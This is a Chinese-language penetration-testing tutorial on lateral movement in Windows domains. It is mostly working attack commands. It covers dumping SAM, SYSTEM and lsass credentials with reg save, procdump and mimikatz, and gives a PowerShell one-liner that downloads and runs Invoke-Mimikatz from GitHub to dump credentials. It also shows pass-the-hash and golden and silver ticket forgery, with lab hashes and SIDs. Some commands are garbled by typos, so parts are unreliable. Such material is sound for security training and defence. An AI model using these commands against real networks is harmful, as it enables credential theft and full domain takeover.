内网渗透之域内横向移动
公众号:白帽子左一
hash 介绍
在域环境中,用户信息存储在域控的ntds.dit(C:\Windows\NTDS\NTDS.dit)中;非域环境也就是在工作组环境中,当前主机用户的密码信息存储着在sam文件(C:\Windows\System32\config\SAM)。Windows操作系统通常使用两种方法(LM和NTLM)对用户的明文密码进行加密处理。
LM只能存储小于等于14个字符的密码hash,如果密码大于14个,windows就自动使用NTLM对其进行加密。LM Hash的全名为”LAN Manager Hash”,是微软为了提高Windows操作系统的安全性而采用的散列值加密算法,XP、win2k和win2k3来说,系统默认使用LM进行加密,个人版从Windows Vista 以后,服务器版从Windows Server 2003以后该方法被禁用。如果抓取的LM Hash值是”aad3b435b51404eeaad3b435b51404ee”,可能的情况有:LM Hash值为空、密码大于14位、被禁用或者认为设置。
NTLM Hash是微软为了在提高安全性的同时保证兼容性而设计的散列加密算法。NTLM Hash是基于MD4加密算法进行加密的。Windows操作系统的认证方式均为NTLM Hash。
hash 获取
要在windows系统中抓取nt-hash或者明文,必须要system权限,想要破解sam文件与ntds.dit文件都需要拥有一个system文件(C:\Windows\System32\config\SYSTEM)
离线获取
导出 sam 和 system 文件
reg save hklm\system C:\Users\Administrator\Desktop\hash\system.hive
reg save hklm\sam C:\Users\Administrator\Desktop\hash\sam.hive
-
使用 mimikatz
lsadump::sam /sam:C:\Users\Administrator\Desktop\hash\sam.hive /system:C:\Users\Administrator\Desktop\hash\system.hive
mimikatz
-
本地读取
将 mimikatz 传到目标机器
privilege::debug
token::elevate
lsadump::sam
-
在线读取
mimikatz.exe privilege::debug sekurlsa::logonpasswords
-
lsass.dmp
使用 procdump 导出 了lsass.dmp 文件
procdump.exe -accepteula -ma lsass.exe C:\Users\Administrator\Desktop\hash\lsass.dmp
sekurlsa::minidump C:\Users\Administrator\Desktop\hash\lsass.dmp
sekurlsa::logonpasswords full
powershell
-
远程获取
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
hash 传递(pth,pass the hash)
测试环境
域:tisheng.test
用户名:administrator
NTLM hash:3ec403e7aee6461f12e8f7b644410605
用管理员权限运行
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:tisheng.test /ntlm:3ec403e7aee6461f12e8f7b644410605"
成功后回弹出一个新的窗口
票据传递(ptt,path the triket)
票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单。
黄金票据(tgt,Golden Ticket)
金票是通过伪造的TGT(TicketGranting Ticket),金票就有了域内的最高权限。
制作金票的条件
1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH (krbtgt 域账户的密码基本不会更改,即使域管密码被修改,它也不会改变)
4、伪造用户名,可以是任意的
获取数据
mimikatz.exe "log" "privilege::debug" "lsadump::dcsync /domain:tisheng.test /user:krbtgt"
生成金票
方法1:
生成金票
kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi
将金票导入内存
kerberos::purge //清空内存中的票据kerberos::ppt golden.kiribi //导入票据kerberos::list //查看票据
方法2:
kerberos::golden /user:要伪造的域用户(我们这一般写域管理员) /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的哈希 /pttkerberos::golden /user:administrator /domain:tisheng.test /sid:S-1-5-21-74797282-3442809439-2700332097/krbtgt:070dac97f50c95d08e98be1578327e7b /ptt
也可以使用 ase256 生成
kerberos::golden /user:administrator /domain:tisheng.test /sid:S-1-5-21-74797282-3442809439-2700332097-502 /aes256:9dd45bd4b2c39a54240f5dc03bb4ecfb023285cf956425ba16f61db7ee48040d /ptt
方法3:
在域控上执行
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
将生成的文件保存下来
mimikatz "privilege::debug" "kerberos::ptt [0;b9476]-2-0-40e10000-Administrator@krbtgt-TISHENG.TEST.kirbi"
白银票据(st,SilverTickets)
银票只能访问指定服务
制作银票的条件
1.域名称2.域的SID值3.域中的Server服务器账户的NTLM-Hash4.伪造的用户名,可以是任意用户名.5.目标服务器上面的kerberos服务
服务名称 同时需要的服务WMI HOST、RPCSSPowerShell Remoting HOST、HTTPWinRM HOST、HTTPScheduled Tasks HOSTWindows File Share CIFSLDAP LDAPWindows Remote Server RPCSS、LDAP、CIFS
生成白银票据
kerberos::golden /domain:tisheng.test /sid:S-1-5-21-74797282-3442809439-2700332097 /target:dc.tisheng.test /service:cifs /rc4:3ec403e7aee6461f12e8f7b644410605 /user:test /ptt